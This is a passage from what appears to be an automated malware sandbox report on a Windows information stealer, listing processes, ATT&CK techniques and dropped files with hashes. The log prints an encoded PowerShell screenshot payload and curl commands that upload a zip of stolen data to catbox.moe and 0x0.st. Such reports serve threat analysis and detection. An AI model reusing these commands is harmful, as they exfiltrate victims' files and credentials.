cAKQAKAAoAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQAKACIATwBLACIACgA="
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVQBzAGUAcgBTAGUAdAB0AGkAbgBnAHMAXAB0ADkAOAB4AEEANwBJAHcAVwB5AFwARQBOAC0AQwB1AGYAZQByAHgAdwBuAFwAUwBjAHIAZQBlAG4AcwBoAG8AdABcAHMAYwByAGUAZQBuAHMAaABvAHQALgBwAG4AZwAiACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKAAoAJABnAHIAYQBwAGgAaQBjAHMALgBEAGkAcwBwAG8AcwBlACgAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQAKACIATwBLACIACgA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c ""C:\Windows\System32\curl.exe" -s -F "reqtype=fileupload" -F "fileToUpload=@"C:\ProgramData\Microsoft\UserSettings\t98xA7IwWy\EN-Cuferxwn.zip"" "https://catbox.moe/user/api.php""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Windows\System32\curl.exe
    "C:\Windows\System32\curl.exe" -s -F "reqtype=fileupload" -F "fileToUpload=@"C:\ProgramData\Microsoft\UserSettings\t98xA7IwWy\EN-Cuferxwn.zip"" "https://catbox.moe/user/api.php"
    3⤵
    PID:3376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c ""C:\Windows\System32\curl.exe" -s -F "file=@"C:\ProgramData\Microsoft\UserSettings\t98xA7IwWy\EN-Cuferxwn.zip"" "https://0x0.st""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5468
- - C:\Windows\System32\curl.exe
    "C:\Windows\System32\curl.exe" -s -F "file=@"C:\ProgramData\Microsoft\UserSettings\t98xA7IwWy\EN-Cuferxwn.zip"" "https://0x0.st"
    3⤵
    PID:5924

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:3400

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

EN-Cuferxwn.zip

Path C:\ProgramData\Microsoft\UserSettings\t98xA7IwWy\EN-Cuferxwn.zip
Size 406KB
SHA256 61b799794810b7420f64fd5062038987aab51ba22bca5f8df12805de17688285
MD5 bbdd64dbfbbbbccf11ae71abbc0a3453
SHA1 a9ddcdba0fef45fd923f1304e6468ceb20a2ba7b
SHA512 52565b5edb5ee116cd8a2aeb638c6ae30a678caf31b65c0f904a41eaf33a33ac98567099e112d30966bbba44df79b09b9ba8b6450d0a36efd2b792d8530cb627
SSDEEP 12288:lR+w7n4Esc6kX0A2+hRktpwvHKwvMp0go:f+V2FEA2+KOMpro
TLSH
T1EC942358920D8E77D5798C3BBE39370A8CB5A72D9DD8803F4B51F86E0A3841CE906B91
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

screenshot.png

Path C:\ProgramData\Microsoft\UserSettings\t98xA7IwWy\EN-Cuferxwn\Screenshot\screenshot.png
Size 402KB
SHA256 c514de6ce296de5215348b5148385cb1abec2f9dee54af0391b8ae730bbf74b6
MD5 2e64b5a6b2ff6c867c79c56b20b98038
SHA1 a19fb6f9c3a8730e83a6d7622bfa0565857a21bb
SHA512 336acecd07de0770cc163d42633f425ce9ab3bed4544a6652f1ba1554eea38f5b5467083b5e6f2c67e5aeb8ce476a689bcc1da807ea7662591e34e7122fca470
SSDEEP 12288:JPNS2/x9TbyK+ceXfUetC6I5BSW8hTlXWWcyOwNzUJ:3/XDqcetC5SW8hppGw1UJ
TLSH
T1D394124DD1BB9D055CCE40136DE84BCE1FA1213B99EDB07E21153888C86AA3D6F46B6F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

log.txt

Path C:\ProgramData\Microsoft\UserSettings\t98xA7IwWy\EN-Cuferxwn\log.txt
Size 167B
SHA256 2ad5a1af60b21535f31cae824e1c7b78bbec243e7966abd4d27dc20975e09018
MD5 f39ae4aa15fc8fbd532a3a44ebf406b6
SHA1 b1fa2b075df4055c460bea1fbcfcd7db6fb11e60
SHA512 fd6d7ce1ca328799cc659cde3e0cd027e5dbce62be33b23e24fe279573201e20b6d93996c16b38472dd57b9cbde6dad8037f15582de213fec17c64085a6b491b
TLSH
T185C0123124ECA2E017504ACCDC2982C8608A28A2792E4CE8F1A300C8B9CA0895898E42
MD5 SHA1 SHA512 TLSH

Submit Download

stolen_files.zip

Path C:\ProgramData\Microsoft\UserSettings\t98xA7IwWy\EN-Cuferxwn\stolen_files.zip
Size 18KB
SHA256 9d8ad633a2f16eca229362c828b13bc477bb32d12e7f4dd992d65f7d09c8264b
MD5 2420f0f4481688ce8bd770b4397b250d
SHA1 9cbb45f10a26ed20e6816f71cb7437f8458cf1fd
SHA512 1042100382812f02e9f57e602c75fc5fedab40d41feeb0171bc52b7fdd48fcab5c0904541b4ce51fe2993fd9e32a9cc5c9f5d3a88cc30749c6a29c8933814f0d
SSDEEP 384:ZZJQpKhQ+8RVfH2CXWyFyOoRRZaoG64SKzvuqD2X:3JQIhQ+8RV3D2RmMQDw
TLSH
T11C82D1BC28EBA98DCFF7D4D05BE69702818163991264EC1B4EE3C01CE70C1C9794DB52
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

EN-Cuferxwn_fallback.zip

Path C:\ProgramData\Microsoft\UserSettings\t98xA7IwWy\EN-Cuferxwn_fallback.zip
Size 406KB
SHA256 8dde33550141999fd83f3ca1b62d39a99ce65330387392024d4406ab9d015045
MD5 ce9f48dbfa138af4768a3305f1e9d1d6
SHA1 d726dbea69f004f9c6e467c16e76e2784d6bdca5
SHA512 59913f0c06182a460a19e2f0ce34688abad0dfd66ec4d1186d448c2f0bab793b6927f0829d71724e6d8a09f22f2cebfc184a88746b31b31739b4b2576875a35e
SSDEEP 12288:zR+w7n4Esc6kX0A2+hRktpwvHKwvMp0LC:9+V2FEA2+KOMpEC
TLSH
T11F942358520D8D77D5798C3BBE39331A8CB5A72DDDD8803F4B52F96E0A3881CE606B91
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3b67954a5e4eed0edd8d56bd555b48b07b7df383be907bd2938259c93d128fc1
MD5 6e882501d7768b046141a962854216ef
SHA1 28d6dd8ff739e5a5308424d5715e44fe2f5b4f28
SHA512 bb8142d49442ebf9b2bd92139888891b4d1d18f1a835ac3b2e990f69bf95b0eaf5804649d669c35620a5d7f534de173d70e9872a1ec24b831b3e03408d51462d
TLSH
T18021AF33F3CC8664DC49413654DEAC0136B6C7DB40DECE9B6B84D514F02F298CEA1160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 733ea73d3a04b7ccc8e63a52cc3dcd161c7ab956fa498903c4157516c5aea21f
MD5 4fc68b9165bd1849e6cfb9922e8368d4
SHA1 2c32fac5908d31d2c81420e449cdc7765b36fb60
SHA512 e131f02a239f6ee198c2e31f4a3335529e03c6efbc753e52dda470ad466ab22db23180d47ce7be6f712535cd52cf8fd277c4341bdf94f460a96e5ec99af7e39c
TLSH
T17721AF33F3CC8654DC4A413654DEAC0136B6CBD740DECE9B6B84D114F42F288CEA11A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_xyfrerdn.52j.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xyfrerdn.52j.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

b9a7b76665d92af2d90cc6a15ffdc1a79635559cbc1c40bd1f83c4c4449cd442

Path C:\Users\Admin\AppData\Local\Temp\pkg-jv6Ffv\b9a7b76665d92af2d90cc6a15ffdc1a79635559cbc1c40bd1f83c4c4449cd442
Size 1.8MB
SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
MD5 66a65322c9d362a23cf3d3f7735d5430
SHA1 ed59f3e4b0b16b759b866ef7293d26a1512b952e
SHA512 0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21
SSDEEP 49152:lVtIA1xRrGLYLn9M+BMPPivsICK9rzoNEqt:7tH4X3inMZt
TLSH
T12B958D4BA2B400FDC1ABC179891B5A0BE7B27405177497DF15E08A696F23FE356BE320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

78cWlo4L.xml

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Z0fSsb01\78cWlo4L.xml
Size 2KB
SHA256 d7d3ab46e9376fde6be31581bcf212513e4ae831711243fd9a3a75cb56360c6d
MD5 395c527d8613ef405abccfd20ee0ebe8
SHA1 643842b2ff966b9658f6a4d51d6fe84bfae5a99f
SHA512 a76748007465b069b02b6d347735f872be6f60e6288a7dcee2e22bab1195d932c3e0a8191a83567d1578f82bb940dcbb22315abc2e114711b085383e6a15f990
TLSH
T18E51484367FE1109F2F76BACBEB764518E67BD596D31C46D00AC060D0BB79228A60737
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3496-84-0x000001BE760F0000-0x000001BE7610E000-memory.dmp

Download

memory/3496-83-0x000001BE75C70000-0x000001BE75C7A000-memory.dmp

Download

memory/3496-82-0x000001BE75EC0000-0x000001BE75F72000-memory.dmp

Download

memory/3496-81-0x000001BE75C80000-0x000001BE75C9E000-memory.dmp

Download

memory/3496-76-0x000001BE75BD0000-0x000001BE75BF2000-memory.dmp

Download

memory/4316-93-0x000002087B3A0000-0x000002087B3F0000-memory.dmp

Download